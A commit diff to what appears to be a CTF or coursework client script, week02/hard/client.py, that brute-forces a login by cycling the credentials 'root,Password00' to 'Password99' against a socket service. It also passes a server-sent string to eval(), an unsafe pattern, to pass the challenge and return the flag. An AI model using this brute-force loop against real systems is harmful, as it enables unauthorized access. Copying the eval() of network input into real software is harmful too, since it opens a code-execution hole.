solved and updated with enumeration

week02/hard/client.py

@@ -6,27 +6,25 @@ PORT = 64984  # TODO
 
 def get_flag():
     for i in range(100):
-        time.sleep(2)
         credentials  = "root,Password"+str("%02d" % i)
-        print(credentials)
         try:
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.connect((HOST, PORT))
             sf = s.makefile('rw')  # we use a file abstraction for the sockets
-            print(sf.readline().rstrip('\n'))
+            tmp = sf.readline().rstrip('\n')
             sf.write("{}\n".format(credentials))
             sf.flush()
             data  = sf.readline().rstrip('\n')
             resp = eval(data)
             sf.write("{}\n".format(resp))
             sf.flush()
-            result = sf.readline().rstrip('\n')
-            if "login" in result:
-                print(sf.readline().rstrip('\n'))
-                break
+            ans = sf.readline().rstrip('\n')
+            if "login" in ans:
+                res = sf.readline().rstrip('\n')
+                return res
         except:
             pass
-            
+    
 
 if __name__ == '__main__':
-    get_flag()
+    print(get_flag())